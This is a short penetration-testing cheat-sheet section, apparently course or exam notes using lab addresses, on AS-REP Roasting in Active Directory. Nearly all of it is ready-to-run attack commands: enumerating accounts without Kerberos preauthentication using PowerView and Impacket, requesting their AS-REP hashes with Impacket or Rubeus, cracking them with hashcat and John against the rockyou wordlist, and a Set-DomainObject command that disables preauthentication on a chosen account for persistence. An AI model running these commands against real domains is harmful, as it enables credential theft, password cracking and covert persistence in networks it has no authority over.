3. AS-REP Roasting



Enumerate Kerberos preauth disabled:

Get-NetUser -PreauthNotRequired -Verbose | select cn
impacket-GetNPUsers -dc-ip 192.168.50.70 corp.com/pete

Remote AS-REP Roasting with Impacket:

  1. Launch roast:
impacket-GetNPUsers -dc-ip 192.168.50.70 -request -outputfile hashes.asreproast corp.com/pete
  1. Crack hash:
#Hashcat:
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

#John:
john --wordlist=passwords_kerb.txt hashes.asreproast

Local AS-REP Roasting with Rubeus:

  1. Launch roast:
.\Rubeus.exe asreproast /nowrap
  1. Crack hash on kali:
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Targeted AS-REP Roasting Abuse/Persistence:

Set-DomainObject -Identity <username> -XOR @{useraccountcontrol=4194304} -Verbose